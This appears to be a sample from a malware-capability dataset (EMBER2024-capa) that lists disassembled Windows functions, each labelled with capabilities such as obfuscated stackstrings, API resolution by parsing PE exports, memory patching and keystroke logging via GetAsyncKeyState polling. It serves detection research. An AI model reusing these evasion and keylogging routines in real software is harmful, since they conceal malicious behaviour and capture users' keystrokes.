joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001520
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov rsi, rdx
and qword [rax - 0x48], rbx
xor r9d, r9d
and dword [rax - 0x50], ebx
mov edx, 0x80000000
lea r8d, [rbx + 3]
mov dword [rax - 0x58], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001700
lea rdx, [rbp + 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140001593
mov ebx, dword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [rbp + 0x38]
mov rbx, rax
mov dword [rsi], ecx
mov byte [rbp - 0x10], 0x5e
xor r9d, r9d
mov byte [rbp - 0xf], 0x55
mov r10d, 0x81020409
mov byte [rbp - 0xe], 0
mov byte [rbp - 0xd], 0x20
mov byte [rbp - 0xc], 0x5d
mov byte [rbp - 0xb], 0x2b
mov byte [rbp - 0xa], 0x4b
mov byte [rbp - 9], 0x55
mov byte [rbp - 8], 0x42
mov al, byte [rbp - 0x10]
movzx ecx, byte [rbp + r9 - 0x10]
mov eax, r10d
sub ecx, 0x42
lea r8d, [rcx + rcx*2]
shl r8d, 2
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r10d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x10], r8b
inc r9
cmp r9, 9
jb 0x1400015c3
mov byte [rbp - 0x20], 0x32
xor r9d, r9d
mov byte [rbp - 0x1f], 0x67
mov byte [rbp - 0x1e], 0x5e
mov byte [rbp - 0x1d], 0x57
mov byte [rbp - 0x1c], 0x67
mov byte [rbp - 0x1b], reloc.WS2_32.dll_sendto
mov byte [rbp - 0x1a], 0x4f
mov byte [rbp - 0x19], 0x6d
mov byte [rbp - 0x18], 0x66
mov byte [rbp - 0x17], 6
mov byte [rbp - 0x16], reloc.WS2_32.dll_sendto
mov byte [rbp - 0x15], reloc.WS2_32.dll_sendto
mov byte [rbp - 0x14], 0x55
mov al, byte [rbp - 0x20]
movzx ecx, byte [rbp + r9 - 0x20]
mov eax, r10d
sub ecx, 0x55
imul r8d, ecx, 0x37
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r10d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x20], r8b
inc r9
cmp r9, 0xd
jb 0x140001652
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rbx, rbx
je 0x1400016f7
mov r8d, dword [rbp + 0x38]
lea r9, [rbp + 0x30]
and qword [rsp + 0x20], 0
mov rdx, rbx
mov rcx, rdi
call rax
test eax, eax
je 0x1400016e1
mov eax, dword [rbp + 0x38]
cmp dword [rbp + 0x30], eax
je 0x1400016f7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov byte [rbp - 0x20], 0x67
xor r8d, r8d
mov byte [rbp - 0x1f], 0x5f
mov r9d, 0x81020409
mov byte [rbp - 0x1e], 0x2e
mov byte [rbp - 0x1d], 0x5f
mov byte [rbp - 0x1c], 0x23
mov byte [rbp - 0x1b], 0x5f
mov byte [rbp - 0x1a], 0x65
mov byte [rbp - 0x19], 0x5f
mov byte [rbp - 0x18], 0x42
mov byte [rbp - 0x17], 0x5f
mov byte [rbp - 0x16], 0x77
mov byte [rbp - 0x15], 0x5f
mov byte [rbp - 0x14], 0x3f
mov byte [rbp - 0x13], 0x5f
mov byte [rbp - 0x12], 0x4f
mov byte [rbp - 0x11], 0x5f
mov byte [rbp - 0x10], 0x7b
mov byte [rbp - 0xf], 0x5f
mov byte [rbp - 0xe], 0x6b
mov byte [rbp - 0xd], 0x5f
mov byte [rbp - 0xc], 0x29
mov byte [rbp - 0xb], 0x5f
mov byte [rbp - 0xa], 0x3f
mov byte [rbp - 9], 0x5f
mov byte [rbp - 8], 0x5f
mov byte [rbp - 7], 0x5f
mov al, byte [rbp - 0x20]
movzx ecx, byte [rbp + r8 - 0x20]
mov eax, 0x5f
sub eax, ecx
imul ecx, eax, 0x17
mov eax, r9d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r9d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x20], cl
inc r8
cmp r8, 0x1a
jb 0x14000327d
lea rcx, [rbp - 0x20]
call fcn.140002c00
add rsp, 0x40
pop rbp
ret

Function at 0x1400032dc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
mov r15, rdx
mov rdi, rcx
mov ebp, ebx
mov esi, dword [rax + rcx + 0x88]
add rsi, rcx
cmp dword [rsi + 0x18], ebx
jbe 0x140003355
mov ecx, dword [rsi + 0x20]
add rcx, rdi
mov r14d, ebp
lea rax, [rcx + r14*4]
test rax, rax
je 0x140003335
mov edx, dword [rax]
mov rcx, r15
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14000333e
inc ebp
cmp ebp, dword [rsi + 0x18]
jae 0x140003355
jmp 0x140003311
mov ecx, dword [rsi + 0x24]
add rcx, rdi
movzx edx, word [rcx + r14*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
mov rbp, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140003374
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor esi, esi
mov r15, rdx
mov rdi, rcx
mov ebp, esi
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
cmp dword [rbx + 0x18], esi
jbe 0x1400033ea
mov ecx, dword [rbx + 0x20]
add rcx, rdi
mov r14d, ebp
lea rax, [rcx + r14*4]
test rax, rax
je 0x1400033cd
mov edx, dword [rax]
mov rcx, r15
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1400033d6
inc ebp
cmp ebp, dword [rbx + 0x18]
jae 0x1400033ea
jmp 0x1400033a9
mov ecx, dword [rbx + 0x24]
add rcx, rdi
movzx edx, word [rcx + r14*2]
mov ecx, dword [rbx + 0x1c]
add rcx, rdi
mov esi, dword [rcx + rdx*4]
mov rbx, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x140003408
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x30
xor ebx, ebx
mov esi, edx
add rsi, rcx
mov r9d, edx
mov eax, 0x5a4d
mov qword [rsp + 0x60], rsi
mov rbp, r8
mov edi, ebx
lea r15d, [rbx + 1]
cmp ax, word [rcx]
jne 0x14000348b
movsxd r8, dword [rcx + 0x3c]
add r8, rcx
cmp dword [r8], 0x4550
jne 0x14000348b
movzx eax, word [r8 + 0x14]
lea rdx, [r8 + 0x18]
movzx r11d, word [r8 + 6]
add rdx, rax
cmp bx, r11w
movzx r10d, bx
jae 0x14000348b
mov r8d, dword [rdx + 0xc]
cmp r9d, r8d
jb 0x140003474
mov ecx, dword [rdx + 0x10]
add ecx, r8d
cmp r9d, ecx
jb 0x140003482
add r10w, r15w
add rdx, 0x28
cmp r10w, r11w
jmp 0x14000345e
mov edi, dword [rdx + 0x14]
sub edi, r8d
add edi, r9d
mov qword [rsp + 0x78], 8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
lea r8, [rsp + 0x78]
mov rcx, rax
lea rdx, [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [0x140026b98]
test eax, eax
jne 0x14000350f
mov eax, edi
mov ebx, r15d
mov rcx, qword [rax + rbp]
mov qword [rsi], rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x68]
lea r8, [rsp + 0x78]
mov rcx, rax
lea rdx, [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [0x140026b98]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x60]
mov r8d, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, ebx
add rsp, 0x30
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140004d40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov byte [rbp + 0x20], 0x5e
mov rbx, rcx
mov byte [rbp + 0x21], 0x1f
xor edi, edi
mov byte [rbp + 0x22], 0x48
mov byte [rbp + 0x23], 0x73
mov byte [rbp + 0x24], 0x73
mov byte [rbp + 0x25], 0x6a
mov al, byte [rbp + 0x20]
movzx ecx, byte [rbp + rdi + 0x20]
mov eax, 0x81020409
sub ecx, 0x6a
lea ecx, [rcx + rcx*2]
shl ecx, 2
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi + 0x20], cl
inc rdi
cmp rdi, 6
jb 0x140004d75
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140004ed7
mov byte [rbp - 0x50], 0x21
xor r8d, r8d
mov byte [rbp - 0x4f], 0x24
mov byte [rbp - 0x4e], 0x46
mov byte [rbp - 0x4d], 6
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x60
mov byte [rbp - 0x4a], ntohs
mov byte [rbp - 0x49], 0x38
mov byte [rbp - 0x48], 0x59
mov byte [rbp - 0x47], 0x4b
mov byte [rbp - 0x46], 0x3b
mov byte [rbp - 0x45], 0x60
mov byte [rbp - 0x44], 0x77
mov byte [rbp - 0x43], 0x62
mov byte [rbp - 0x42], 0x24
mov byte [rbp - 0x41], 0x70
mov byte [rbp - 0x40], 0x3b
mov byte [rbp - 0x3f], 0x59
mov byte [rbp - 0x3e], 0x64
mov byte [rbp - 0x3d], 0x60
mov byte [rbp - 0x3c], 0x3b
mov byte [rbp - 0x3b], 0x26
mov byte [rbp - 0x3a], 0x69
mov byte [rbp - 0x39], 0x42
mov byte [rbp - 0x38], 0x42
mov byte [rbp - 0x37], 0x57
mov al, byte [rbp - 0x50]
movzx ecx, byte [rbp + r8 - 0x50]
mov eax, 0x81020409
sub ecx, 0x57
imul ecx, ecx, 0x37
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x50], cl
inc r8
cmp r8, 0x1a
jb 0x140004e47
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x140004ed7
xor eax, eax
lea rdi, [rbp - 0x30]
and dword [rbp + 0x18], eax
lea r8, [rbp - 0x30]
lea edx, [rax + 0x30]
mov ecx, edx
mov r9d, edx
rep stosb byte [rdi], al
lea rax, [rbp + 0x18]
mov rcx, rbx
xor edx, edx
mov qword [rsp + 0x20], rax
call r10
mov rax, qword [rbp - 0x28]
jmp 0x140004ed9
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140006be4
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push rbx
sub rsp, 0x30
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rsp + 0x20], 2
jne 0x140006c52
mov rcx, qword [rax + 8]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
xor edx, edx
mov ecx, 0x100401
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140006c52
mov edx, 0x2bf20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140006c49
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140005f9c
int3

Function at 0x14000cd98
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000cbbc
Function at 0x140011109
Capabilities:
Write file on windows

Disassembly:
jmp 0x140020270
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14003b068]
call fcn.1400119d3
nop
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x1400202c8
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1400203da
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140020373
cmp qword [rbp + 0x28], 0
jle 0x140020373
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140020311
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011951
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rbp + 0x130], 0
jle 0x1400203c9
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x1400203c9
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011596
Capabilities:
Terminate process

Disassembly:
jmp 0x140023900
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400116f4
Capabilities:
Parse pe header

Disassembly:
jmp 0x140022c90
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140022cb0
xor al, al
jmp 0x140022d31
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140022cc3
xor al, al
jmp 0x140022d31
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140022ced
xor al, al
jmp 0x140022d31
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140022d01
xor al, al
jmp 0x140022d31
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140022d13
xor al, al
jmp 0x140022d31
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140022d2f
xor al, al
jmp 0x140022d31
mov al, 1
add rsp, 0x38
ret
Function at 0x14001173a
Capabilities:
Create thread

Disassembly:
jmp 0x140020450
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14003b0f9]
call fcn.1400119d3
nop
call fcn.140011244
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xea60
lea r8, [0x14001123a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
call fcn.140011a3c
nop
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x1400119ba
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001a670
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14003b068]
call fcn.1400119d3
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001a6d7
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001a6de
mov al, 1
jmp 0x14001a82e
call fcn.1400112bc
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.1400112bc
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.1400117cb
movzx eax, al
test eax, eax
je 0x14001a72f
xor al, al
jmp 0x14001a82e
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001a794
cmp dword [rbp + 0x154], 1
je 0x14001a79f
cmp dword [rbp + 0x154], 3
je 0x14001a81d
jmp 0x14001a82c
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001a7ef
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001a7ef
xor al, al
jmp 0x14001a82e
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001a80a
mov dword [rbp + 0x154], 1
jmp 0x14001a814
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001a82e
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001a82e
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002b990]
call fcn.14001182a
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.1400114ba
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret

Function at 0x140011a3c
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1400196d0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14003b0f9]
call fcn.1400119d3
nop
xor eax, eax
cmp eax, 1
je 0x140019737
mov dword [rbp + 4], 8
jmp 0x140019704
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xbe
jg 0x140019729
mov ecx, dword [rbp + 4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x140019727
mov ecx, dword [rbp + 4]
call fcn.1400113f2
nop
jmp 0x1400196fc
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x1400196ec
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140021a80
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011a32
movzx eax, al
test eax, eax
jne 0x140021aa0
mov ecx, 7
call fcn.14001183e
nop
mov byte [rsp + 0x20], 0
call fcn.14001187f
mov byte [rsp + 0x21], al
cmp dword [0x140032870], 1
jne 0x140021ac4
mov ecx, 7
call fcn.14001183e
nop
jmp 0x140021b1c
cmp dword [0x140032870], 0
jne 0x140021b17
mov dword [0x140032870], 1
lea rdx, [0x14002a888]
lea rcx, [0x14002a558]
call fcn.140011497
test eax, eax
je 0x140021af8
mov eax, 0xff
jmp 0x140021c21
lea rdx, [0x14002a448]
lea rcx, [section..rdata]
call fcn.140011866
mov dword [0x140032870], 2
jmp 0x140021b1c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011816
call fcn.140011726
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140021b79
mov rcx, qword [rsp + 0x30]
call fcn.1400113bb
movzx eax, al
test eax, eax
je 0x140021b79
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14003c020]
nop
call fcn.1400117a3
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140021bad
mov rcx, qword [rsp + 0x38]
call fcn.1400113bb
movzx eax, al
test eax, eax
je 0x140021bad
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011997
nop
call fcn.140021c90
mov dword [rsp + 0x28], eax
call fcn.1400116f4
movzx eax, al
test eax, eax
jne 0x140021bcc
mov ecx, dword [rsp + 0x28]
call fcn.1400110b9
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140021bdb
call fcn.1400119ab
nop
xor edx, edx
mov cl, 1
call fcn.140011384
mov eax, dword [rsp + 0x28]
jmp 0x140021c21
add rsp, 0x68
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004540]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x140004550]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400044b0]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004530]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x1400044c0]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004550]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x140004570]
mov rcx, qword [0x140004560]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140004590]
mov rcx, qword [0x140004580]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop